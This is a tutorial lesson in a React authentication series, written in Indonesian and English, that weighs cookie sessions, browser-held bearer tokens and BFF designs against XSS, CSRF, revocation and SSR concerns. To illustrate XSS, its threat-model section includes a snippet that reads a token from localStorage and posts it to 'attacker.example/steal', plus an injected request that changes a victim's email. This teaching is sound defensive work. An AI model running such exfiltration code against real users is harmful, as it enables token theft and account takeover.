Start HereOrdered learning track

Token vs Cookie Decision Framework

Learn React Authentication, Authorization, Identity & Permission/ACL - Part 010

Framework keputusan token vs cookie untuk React apps: threat model, browser storage, CSRF/XSS trade-off, BFF, SSR, API topology, compliance, dan migration strategy.

10 min read1932 words
PrevNext
Lesson 10130 lesson track01–24 Start Here
#react#authentication#cookies#tokens+4 more

Token vs Cookie Decision Framework

Pertanyaan “token atau cookie?” sering dijawab terlalu cepat.

Biasanya debatnya seperti ini:

Cookie lebih aman karena HttpOnly.
Token lebih modern karena SPA.
Cookie kena CSRF.
Token kena XSS.
JWT stateless.
Session stateful.
localStorage gampang.
BFF ribet.

Semua kalimat itu bisa benar dalam konteks tertentu, dan menyesatkan dalam konteks lain.

Decision yang benar bukan memilih merek mekanisme. Decision yang benar adalah memilih credential visibility, transport semantics, validation boundary, revocation strategy, and operational model.

Token vs cookie bukan pertanyaan storage saja.
Itu pertanyaan trust boundary.

Part ini membangun framework keputusan yang bisa dipakai saat design review.


1. Pertanyaan yang salah

Pertanyaan yang buruk:

Apakah kita pakai JWT atau cookie?

Kenapa buruk?

Karena JWT dan cookie tidak berada pada kategori yang sama.

  • JWT adalah format token/claims.
  • Cookie adalah mekanisme penyimpanan dan pengiriman HTTP state.

JWT bisa disimpan di:

- memory
- sessionStorage
- localStorage
- IndexedDB
- cookie
- server-side token store reference

Cookie bisa berisi:

- opaque session id
- signed payload
- encrypted payload
- JWT
- CSRF token
- preference id

Jadi “JWT vs cookie” sering salah kategori.

Pertanyaan yang lebih tepat:

1. Credential apa yang membuktikan session/API access?
2. Credential itu readable oleh JavaScript atau tidak?
3. Credential dikirim otomatis oleh browser atau eksplisit oleh app?
4. Server mana yang memvalidasi credential?
5. Bagaimana credential direvoke dan dirotasi?
6. Attack apa yang menjadi dominant risk: XSS, CSRF, leakage, replay, confused deputy?

2. Vocabulary yang harus presisi

IstilahMeaningCommon confusion
CookieHTTP state mechanismDisangka selalu session server-side
Session IDOpaque identifier untuk server-side sessionDisangka sama dengan JWT
JWTStructured signed token formatDisangka selalu access token
Access tokenCredential untuk resource serverDisangka user profile
ID tokenOIDC assertion untuk clientDisangka API credential
Refresh tokenCredential untuk mendapatkan access token baruDisangka aman disimpan sembarang
HttpOnlyCookie tidak readable via JSDisangka mencegah semua serangan
SameSiteCookie cross-site send controlDisangka pengganti semua CSRF defense
BearerPemegang token bisa menggunakannyaDisangka aman jika token signed
BFFServer khusus frontend yang menyembunyikan tokenDisangka cuma proxy biasa

Precision ini penting karena keputusan arsitektur salah sering berasal dari kata yang kabur.


3. Decision axis utama

Ada sembilan axis yang harus dievaluasi.

Kita bahas satu per satu.


4. Axis 1: Credential visibility

Pertanyaan:

Apakah JavaScript bisa membaca credential?

Ini mungkin axis paling penting.

MechanismJS-readable?Consequence
Access token in memoryYes, during runtimeXSS bisa act as user; persistence rendah
Access token in localStorageYes, persistentXSS bisa steal dan persist sampai token expired/revoked
Access token in sessionStorageYes, per tabXSS tetap bisa read; scope tab lebih kecil
IndexedDB tokenYesXSS tetap bisa read; lebih kompleks
HttpOnly session cookieNoXSS tidak bisa read cookie, tapi bisa make requests as user while executing
BFF cookie + server-side tokenBrowser JS cannot read downstream tokenToken theft risk dari browser jauh lebih kecil

Important nuance:

HttpOnly prevents JavaScript from reading the cookie.
It does not prevent malicious JavaScript already running in the page from sending same-origin requests.

Jika app terkena XSS, attacker bisa menekan tombol virtual, memanggil API, atau membaca response dari same-origin endpoint selama script berjalan. Jadi HttpOnly mengurangi token theft/reuse, bukan membuat XSS tidak relevan.

4.1 Visibility rule

The more valuable and reusable the credential,
the less it should be readable by JavaScript.

Refresh token lebih berharga daripada access token. Provider token lebih berharga daripada session view. Admin session lebih berharga daripada low-risk anonymous preference.


5. Axis 2: Transport semantics

Pertanyaan:

Apakah credential dikirim otomatis oleh browser, atau eksplisit oleh kode?
TransportExampleBenefitRisk
Automatic cookieBrowser sends CookieSimpler requests, HttpOnly possibleCSRF, domain scoping mistakes
Explicit headerApp sends AuthorizationAvoids classic CSRF from plain form/image attacksJS must hold/read token
BFF server-side headerBFF sends downstream bearerToken hidden from browserRequires BFF/session infra
One-time URL/ticketSigned URL/WebSocket ticketScoped and short-livedURL/log/referrer leakage if careless

Cookie automatic sending is a feature and a risk.

Bearer header explicit sending is a feature and a risk.

GET /api/me HTTP/1.1
Host: app.example.com
Cookie: __Host-app_session=sid_abc

React code:

fetch("/api/me", { credentials: "include" });

5.2 Bearer transport example

GET /v1/me HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJ...

React code:

fetch("https://api.example.com/v1/me", {
  headers: {
    Authorization: `Bearer ${accessToken}`,
  },
});

5.3 BFF transport example

Browser to BFF:

GET /api/me HTTP/1.1
Host: app.example.com
Cookie: __Host-bff_session=sid_abc

BFF to API:

GET /v1/me HTTP/1.1
Host: internal-api.example.net
Authorization: Bearer access_token_hidden_from_browser

This is often the best of both worlds for high-risk web apps, with the cost of server-side complexity.


6. Axis 3: XSS dominant risk

XSS changes the token/cookie debate.

6.1 Token in JS-accessible storage under XSS

If attacker can execute JavaScript:

const token = localStorage.getItem("access_token");
fetch("https://attacker.example/steal", {
  method: "POST",
  body: token,
});

Impact:

- token can be reused outside the victim browser
- attacker may continue after user closes the tab until token expires/revoked
- refresh token theft can extend compromise

Attacker cannot read cookie via document.cookie, but can still do:

await fetch("/api/change-email", {
  method: "POST",
  credentials: "include",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ email: "attacker@example.com" }),
});

Impact:

- attacker acts as user while script executes
- attacker cannot easily export HttpOnly cookie for later reuse
- server-side step-up/authz/CSRF/origin/user-interaction controls still matter

6.3 XSS conclusion

Token-in-JS and HttpOnly-cookie both suffer under XSS, but differently.

Under XSSJS-readable tokenHttpOnly cookie/BFF
Credential theftHighLower
Same-origin action abuseHighHigh
Post-tab reusePossible until expiry/revocationHarder without stolen cookie
Need CSP/input/output defenseYesYes
Need server-side authzYesYes

Therefore:

HttpOnly cookie reduces credential exfiltration.
It does not remove the need to prevent and contain XSS.

7. Axis 4: CSRF dominant risk

CSRF matters when browser automatically sends credentials.

Cookie-based auth has CSRF risk because the browser may attach cookies to requests initiated by another site, depending on method, SameSite, and browser behavior.

Bearer header reduces classic CSRF because an attacker site normally cannot add the victim's Authorization header unless it can run code in the victim origin.

Production cookie auth should layer controls:

1. SameSite=Lax or Strict where compatible
2. Secure + HttpOnly
3. CSRF token for mutating requests when needed
4. Origin/Referer validation for sensitive mutations
5. No state-changing GET
6. Content-Type restrictions where useful
7. Step-up or user interaction for critical actions

OWASP CSRF guidance recommends defense-in-depth because SameSite alone is not enough for every scenario.

7.2 SameSite trade-off

SameSiteBehaviorSuitable for
StrictCookie not sent on cross-site navigationsHigh-security apps, but can affect SSO/deep links
LaxCookie sent for top-level safe navigationsCommon default for many web apps
None; SecureCookie sent cross-site over HTTPSRequired for some embedded/cross-site flows; highest CSRF scrutiny

Do not set SameSite=None casually.

7.3 CSRF conclusion

If you choose cookie auth, you must design CSRF.
If you choose bearer tokens, you must design token storage and XSS containment.

This is not “cookie bad” or “token bad”. It is threat shifting.


8. Axis 5: Domain topology

8.1 Same-origin app/API

https://app.example.com
https://app.example.com/api

Good candidates:

- Cookie session
- BFF session

Why:

  • no cross-origin token exposure needed;
  • simple cookie scoping;
  • CSRF manageable;
  • SSR/BFF option clean.

8.2 Same-site subdomains

https://app.example.com
https://api.example.com

Good candidates:

- Cookie session with careful domain/SameSite/CORS
- BFF proxy to same-origin
- Bearer token if API topology requires it

Main risks:

- overly broad Domain=.example.com cookies
- subdomain takeover/cookie injection
- CORS allowing too much
- confusion between site and origin

8.3 Cross-site API

https://app.example.com
https://api.vendor.com

Good candidates:

- Bearer token
- BFF proxy

Cookie auth becomes harder because third-party cookie restrictions, SameSite, CORS, and browser privacy behavior can break assumptions.

8.4 Custom domains

https://cases.acme.com
https://app.yourproduct.com

Decision must include:

- Can you set host-only cookies per custom domain?
- Does SSO callback return to custom domain or canonical domain?
- How is tenant context verified server-side?
- How do you avoid session fixation across tenants?

For complex multi-tenant SaaS, BFF/server-side session often simplifies enforcement and audit.


9. Axis 6: API topology

9.1 One API controlled by same team

Cookie/BFF usually wins for browser-only app.

9.2 Many APIs with independent resource servers

Bearer tokens become more natural, but token audience/scope validation must be strict.

access_token audience = case-api
access_token scope    = case.read case.write

API must reject token with wrong audience.

9.3 Public API ecosystem

If third-party developers/mobile/native clients use same API, OAuth bearer token architecture is usually necessary.

But browser app can still use BFF while public API uses bearer tokens externally.

Browser -> BFF -> API with bearer token
Mobile  -> API with bearer token
Partner -> API with bearer token

Do not force browser to hold tokens just because mobile clients do.

9.4 GraphQL API

GraphQL creates special risk because one request can touch many fields/resources.

Cookie or bearer is less important than:

- field-level auth enforcement server-side
- partial data policy
- error masking
- operation-level audit
- no frontend-only field hiding as security

10. Axis 7: Revocation and rotation

Ask:

If admin removes access now, how fast does the system stop privileged behavior?

Revocation is direct:

session_store.delete(session_id)

Next request fails.

10.2 Stateless JWT access token

Revocation is harder:

Token remains cryptographically valid until exp.

Mitigations:

- short access token lifetime
- refresh token revocation
- token introspection for high-risk actions
- denylist/jti store where justified
- permission version claim + server-side check

10.3 Refresh token rotation

Modern browser OAuth guidance requires strong handling if refresh tokens are issued to browser-based applications, including rotation or sender-constraining approaches depending on provider capability.

Risk:

Two tabs use old refresh token simultaneously.
Provider sees reuse.
Session may be revoked.

Therefore token session needs:

- single-flight refresh in one tab
- cross-tab coordination
- reuse detection handling
- typed security failure

10.4 BFF revocation

BFF can revoke:

- BFF session
- server-side refresh token reference
- downstream access token cache
- IdP session if supported

This is operationally attractive for high-risk apps.


11. Axis 8: SSR, RSC, loaders, and first render

React auth is not only client-rendered SPA anymore.

You may have:

- Vite SPA
- React Router Data/Framework mode
- Remix-like data loading
- Next.js App Router
- React Server Components
- Edge middleware
- BFF/API route handlers

Cookie/BFF usually integrates better with server-side rendering because server code can read cookies from request headers and fetch data before render.

Bearer token in browser memory does not exist during server render.

11.1 SPA-only flow

Initial HTML -> JS loads -> auth bootstrap -> render app

Risk:

- loading screen
- flash of anonymous/authenticated layout if not careful
- client-only auth decision

11.2 SSR cookie/BFF flow

Request with cookie -> server verifies session -> server renders correct shell/data

Benefit:

- less sensitive UI flash
- better first render
- stronger route/data boundary

11.3 Server Components risk

Server Components can fetch sensitive data before client code runs. That is powerful and dangerous.

Rule:

Any server-side data fetch must enforce auth server-side.
Never rely on a client component guard to protect server-fetched data.

12. Axis 9: Compliance, audit, and incident response

For regulated/enterprise systems, ask:

Can we reconstruct who had access, when, under which session, from which tenant, with which assurance level?

Cookie/BFF/server-side session generally makes this easier.

Token-only architectures can also do it, but require stronger token/event discipline:

- token jti
- session id claim
- subject id
- tenant id
- auth time
- assurance level
- policy version
- audit correlation id
- refresh/revocation events

12.1 Audit events to require

- session.created
- session.refreshed
- session.revoked
- session.expired
- login.succeeded
- login.failed
- logout.requested
- token.refresh.failed
- token.reuse.detected
- permission.changed
- access.denied
- tenant.switched
- step_up.required
- step_up.succeeded

If your mechanism cannot produce these events, it may be too opaque for high-risk systems.


13. The decision tree


14.1 For enterprise React web app

Default recommendation:

BFF/session cookie, HttpOnly Secure SameSite, server-side token handling,
server-projected session and permission view.

Why:

  • downstream tokens hidden from browser;
  • easier revocation;
  • better SSR/data loading;
  • better audit;
  • avoids localStorage token trap;
  • makes frontend a UI orchestration layer, not security authority.

14.2 For pure SPA with external API and no BFF

Default recommendation:

Authorization Code + PKCE,
short-lived access token,
memory-first token storage,
refresh token rotation if refresh token is issued,
no localStorage for high-value refresh token,
strict API origin allowlist.

Why:

  • aligns with modern browser OAuth guidance;
  • avoids implicit flow;
  • reduces persistence of stolen tokens;
  • still requires XSS prevention and refresh race handling.

14.3 For low-risk app with hosted auth provider

Default recommendation:

Use provider SDK, but still write your own auth boundaries:
/session projection, permission contract, typed errors, cache invalidation, and server enforcement.

SDK should not define your authorization architecture.


15. Comparison matrix

QuestionCookie sessionBearer token in browserBFF session
JS can read credential?No if HttpOnlyYes unless special patternBrowser cannot read downstream token
Credential sent automatically?YesNoCookie to BFF yes; token server-side
Main browser riskCSRF/session riding/XSS action abuseXSS token theft/leakageCSRF to BFF/XSS action abuse
RevocationStrong with server sessionDepends on lifetime/introspection/revocationStrong if server-side state controlled
SSR friendlyYesHarderYes
Multi-API friendlyMediumHighHigh via proxy/token exchange
CORS complexityLow same-origin; higher cross-originHigherLow if same-origin BFF
Operational costMediumMedium then high as edge cases growHigher upfront, often lower long-term for high-risk
Best forWeb apps, admin, SSRPublic APIs, direct API SPAEnterprise/regulatory browser apps

16. Concrete scenario walkthroughs

16.1 Scenario: React admin dashboard

Constraints:

- internal users
- admin actions
- audit required
- same company controls frontend and backend
- no mobile clients for same UI

Decision:

Use BFF or server-side cookie session.

Architecture:

Why not localStorage token?

Because there is no need to expose reusable API credential to JavaScript for this topology.

16.2 Scenario: Public SPA calling public API

Constraints:

- API used by SPA, mobile, partners
- OAuth provider already used
- browser must call API directly
- no BFF budget

Decision:

Use Authorization Code + PKCE, short-lived access token, memory-first token handling.

Required controls:

- no implicit flow
- no token in URL fragments after callback cleanup
- state/nonce validation
- strict redirect URI
- strict API origin allowlist
- refresh single-flight
- no sensitive token logs
- CSP/XSS hardening

16.3 Scenario: Regulated case management

Constraints:

- object-level permission
- state-based authorization
- tenant isolation
- audit defensibility
- step-up for sensitive decisions
- permission changes must apply quickly

Decision:

BFF + server-side session + policy engine + short permission projection TTL.

Why:

The system needs defensibility more than client-side convenience.

17. Token/cookie anti-patterns

17.1 Anti-pattern: localStorage refresh token

localStorage.setItem("refresh_token", refreshToken);

Problem:

Persistent high-value credential readable by any XSS.

Better:

Avoid browser-readable refresh token where possible.
Use BFF/server-side storage, HttpOnly cookie session, or provider-supported rotation with careful browser guidance.

17.2 Anti-pattern: JWT as database

{
  "sub": "usr_123",
  "email": "ari@example.com",
  "roles": ["admin", "billing-admin", "case-approver"],
  "allTenants": ["t1", "t2", "t3"],
  "permissions": ["...hundreds..."]
}

Problem:

- stale privilege
- large headers
- data exposure
- hard revocation
- token used as profile API replacement

Better:

Keep access token minimal. Fetch session/profile/permission projection from server.
Set-Cookie: session=abc; Domain=.example.com; Path=/; Secure; HttpOnly

Problem:

Any subdomain risk can become cookie risk.

Better:

Set-Cookie: __Host-app_session=abc; Path=/; Secure; HttpOnly; SameSite=Lax

Use host-only cookies where possible.

17.4 Anti-pattern: Bearer token to arbitrary URL

fetch(urlFromUserInput, {
  headers: { Authorization: `Bearer ${token}` },
});

Problem:

Token exfiltration to attacker-controlled origin.

Better:

const allowedOrigins = new Set(["https://api.example.com"]);
const url = new URL(input);

if (!allowedOrigins.has(url.origin)) {
  throw new Error("Refusing to attach auth token to untrusted origin");
}

17.5 Anti-pattern: Login redirect open redirect

window.location.href = `/login?returnTo=${window.location.href}`;

Problem:

Can become open redirect/phishing primitive if returnTo not constrained.

Better:

Store relative internal paths only. Validate return URL server-side or against strict allowlist.

18. Migration framework

Many teams are not choosing from zero. They already have a flawed model.

18.1 Migrating from localStorage token to BFF/cookie

Steps:

1. Inventory all token reads/writes
2. Centralize API client token attachment
3. Add /session endpoint that returns safe session view
4. Add BFF/session cookie login callback
5. Move refresh token storage server-side
6. Change API calls to same-origin BFF where possible
7. Remove direct token dependency from components
8. Add logout server revoke + BroadcastChannel
9. Add telemetry for old token usage
10. Remove localStorage token after migration window

18.2 Migrating from role claim to permission projection

Steps:

1. Keep role in backend only as input to policy
2. Introduce /permissions or /session capabilities
3. Replace UI checks with can(action, resource)
4. Add permission version/TTL
5. Enforce all actions server-side
6. Test old role paths vs new capability matrix

Steps:

1. Identify all mutating endpoints
2. Ensure no state-changing GET
3. Add SameSite policy deliberately
4. Add Origin/Referer validation
5. Add CSRF token mechanism if needed
6. Update fetch wrapper to include CSRF token
7. Monitor rejection rates before enforcing strict mode

19. Design review checklist

Use this during architecture review.

19.1 Credential

[ ] What credential proves continuity?
[ ] Is it opaque or structured?
[ ] Is it bearer or sender-constrained?
[ ] Is it scoped to audience/resource?
[ ] What is its lifetime?
[ ] Can JavaScript read it?
[ ] Can browser extensions access/abuse it?
[ ] Can it leak through URL/referrer/logs?

19.2 Storage and transport

[ ] Where is credential stored?
[ ] Is it sent automatically or explicitly?
[ ] Are cookie attributes set explicitly?
[ ] Is token attached only to trusted origins?
[ ] Is CORS required and constrained?
[ ] Is CSRF addressed for mutating requests?

19.3 Lifecycle

[ ] How is session created?
[ ] Is session regenerated after login?
[ ] How does refresh work?
[ ] Is refresh single-flight?
[ ] How does logout revoke server-side state?
[ ] How does admin revoke access?
[ ] How quickly does privilege removal take effect?
[ ] What happens on IdP outage?

19.4 React boundaries

[ ] Does React ever treat decoded token as authority?
[ ] Does React bootstrap from a server/session authority?
[ ] Are 401 and 403 handled differently?
[ ] Are permission and session states separated?
[ ] Are caches cleared on logout/tenant switch?
[ ] Are multi-tab changes propagated?

19.5 Observability

[ ] Are auth failures typed?
[ ] Is correlation ID attached?
[ ] Are session events audited?
[ ] Can security detect refresh reuse?
[ ] Can support explain why user lacks access?

20. Practical recommendations

20.1 Do this by default

- Treat frontend as UI exposure layer, not enforcement layer
- Prefer HttpOnly cookie/BFF for high-risk browser-only apps
- Use Authorization Code + PKCE for OAuth browser apps
- Avoid implicit flow
- Avoid localStorage for high-value tokens
- Keep access tokens short-lived
- Separate session view from permission view
- Validate every API request server-side
- Use typed 401/403/session errors
- Add logout/revocation/cache invalidation from day one

20.2 Do not do this

- Do not store refresh token in localStorage casually
- Do not use decoded JWT payload as permission authority
- Do not rely on hidden buttons as authorization
- Do not attach bearer token to arbitrary URLs
- Do not set broad cookie domains without reason
- Do not rely only on SameSite for all CSRF cases
- Do not treat AuthProvider state as source of truth
- Do not let every API call implement its own refresh logic

21. Mental model final

The decision is not:

cookie vs token

The decision is:

Who holds the credential?
Who can read it?
Who sends it?
Who validates it?
Who can revoke it?
How does React learn only the safe projection?

A good React auth architecture has a boring answer to every one of those questions.

For high-risk browser apps, the most defensible default is often:

Browser holds HttpOnly session cookie.
BFF/server holds downstream tokens.
React receives safe session and permission projection.
API enforces every request.
Audit records every important transition.

For direct API SPAs, the minimum acceptable baseline is:

Authorization Code + PKCE.
Short-lived access token.
Careful storage.
Refresh rotation/coordination.
Strict origin attachment.
Server-side enforcement.

If only one sentence survives, keep this:

Choose the model that minimizes credential exposure while preserving revocation, enforcement, and operability.

References

Lesson Recap

You just completed lesson 10 in start here. Use the series map if you want to review the broader track, or continue directly into the next lesson while the context is still warm.

Continue The Track

Keep the momentum while the lesson is still fresh. Move backward for review or continue forward into the next concept.